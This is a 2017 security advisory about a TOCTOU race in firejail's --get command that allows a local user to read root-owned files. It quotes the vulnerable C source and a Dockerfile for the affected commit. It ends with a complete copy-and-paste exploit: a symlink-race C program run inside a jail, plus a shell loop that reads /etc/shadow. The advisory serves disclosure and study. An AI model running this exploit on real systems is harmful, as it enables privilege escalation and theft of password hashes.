Firejail Privilege Escalation

2017.01.12
Credit: Daniel Hodson
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

# firejail advisory for TOCTOU in --get and --put (local root) Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned. ## Vulnerability This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker). ### Code: src/firejail/ls.c ~~~ void sandboxfs(int op, pid_t pid, const char *path) { EUID_ASSERT(); // if the pid is that of a firejail process, use the pid of the first child process EUID_ROOT(); char *comm = pid_proc_comm(pid); EUID_USER(); if (comm) { if (strcmp(comm, "firejail") == 0) { pid_t child; if (find_child(pid, &child) == 0) { pid = child; } } free(comm); } // check privileges for non-root users uid_t uid = getuid(); if (uid != 0) { uid_t sandbox_uid = pid_get_uid(pid); if (uid != sandbox_uid) { fprintf(stderr, "Error: permission denied.\n"); exit(1); } } // full path or file in current directory? char *fname; if (*path == '/') { fname = strdup(path); if (!fname) errExit("strdup"); } else if (*path == '~') { if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1) errExit("asprintf"); } else { fprintf(stderr, "Error: Cannot access %s\n", path); exit(1); } // sandbox root directory char *rootdir; if (asprintf(&rootdir, "/proc/%d/root", pid) == -1) errExit("asprintf"); if (op == SANDBOX_FS_LS) { EUID_ROOT(); // chroot if (chroot(rootdir) < 0) errExit("chroot"); if (chdir("/") < 0) errExit("chdir"); // access chek is performed with the real UID if (access(fname, R_OK) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } // list directory contents struct stat s; if (stat(fname, &s) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (S_ISDIR(s.st_mode)) { char *rp = realpath(fname, NULL); if (!rp) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (arg_debug) printf("realpath %s\n", rp); char *dir; if (asprintf(&dir, "%s/", rp) == -1) errExit("asprintf"); print_directory(dir); free(rp); free(dir); } else { char *rp = realpath(fname, NULL); if (!rp) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (arg_debug) printf("realpath %s\n", rp); char *split = strrchr(rp, '/'); if (split) { *split = '\0'; char *rp2 = split + 1; if (arg_debug) printf("path %s, file %s\n", rp, rp2); print_file_or_dir(rp, rp2, 1); } free(rp); } } // get file from sandbox and store it in the current directory else if (op == SANDBOX_FS_GET) { // check source file (sandbox) char *src_fname; if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1) errExit("asprintf"); EUID_ROOT(); struct stat s; if (stat(src_fname, &s) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } // try to open the source file - we need to chroot pid_t child = fork(); if (child < 0) errExit("fork"); if (child == 0) { // chroot if (chroot(rootdir) < 0) errExit("chroot"); if (chdir("/") < 0) errExit("chdir"); // drop privileges drop_privs(0); // try to read the file if (access(fname, R_OK) == -1) { fprintf(stderr, "Error: Cannot read %s\n", fname); exit(1); } exit(0); } // wait for the child to finish int status = 0; waitpid(child, &status, 0); if (WIFEXITED(status) && WEXITSTATUS(status) == 0); else exit(1); EUID_USER(); // check destination file (host) char *dest_fname = strrchr(fname, '/'); if (!dest_fname || *(++dest_fname) == '\0') { fprintf(stderr, "Error: invalid file name %s\n", fname); exit(1); } if (access(dest_fname, F_OK) == -1) { // try to create the file FILE *fp = fopen(dest_fname, "w"); if (!fp) { fprintf(stderr, "Error: cannot create %s\n", dest_fname); exit(1); } fclose(fp); } else { if (access(dest_fname, W_OK) == -1) { fprintf(stderr, "Error: cannot write %s\n", dest_fname); exit(1); } } // copy file EUID_ROOT(); copy_file(src_fname, dest_fname, getuid(), getgid(), 0644); printf("Transfer complete\n"); EUID_USER(); } free(fname); free(rootdir); exit(0); } ~~~ ### Code: src/firejail/util.c ~~~ int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) { assert(srcname); assert(destname); // open source int src = open(srcname, O_RDONLY); if (src < 0) { fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname); return -1; } // open destination int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (dst < 0) { fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname); close(src); return -1; } // copy ssize_t len; static const int BUFLEN = 1024; unsigned char buf[BUFLEN]; while ((len = read(src, buf, BUFLEN)) > 0) { int done = 0; while (done != len) { int rv = write(dst, buf + done, len - done); if (rv == -1) { close(src); close(dst); return -1; } done += rv; } } if (fchown(dst, uid, gid) == -1) errExit("fchown"); if (fchmod(dst, mode) == -1) errExit("fchmod"); close(src); close(dst); return 0; } </snip> ~~~ ## Testing ### Our Dockerfile ~~~ FROM ubuntu:latest ENV wdir /root/firejail RUN apt-get update && apt-get install -y git gcc make RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd RUN git clone https://github.com/netblue30/firejail.git ${wdir} WORKDIR ${wdir} RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372 RUN ./configure && make && make install ~~~ ### Our exploit This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell: ~~~ #dropper cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF mkdir -p /tmp/exploit cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char **argv) { char *fl = "/etc/shadow"; if(argc > 1) { fl = argv[1]; } while(1) { int fd = open("owned", O_CREAT | O_RDWR, 0777); if(fd == -1) { perror("open"); exit(1); } close(fd); remove("owned"); symlink(fl, "owned"); remove("owned"); } } TOCTOU_POC_END cd /tmp/exploit gcc ./gaolbreak.c -o gaolbreak # XXX: change argv[1] to whatever you want ./gaolbreak /etc/shadow GUEST_JAIL_SCRIPT_EOF # run the dropper (symlink attack) in a jail chmod +x ./gexp.sh firejail --noprofile --force --name=el ./gexp.sh & # win race using the vulnerable 'firejail --get' command. mkdir exploitel cd exploitel while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done ~~~


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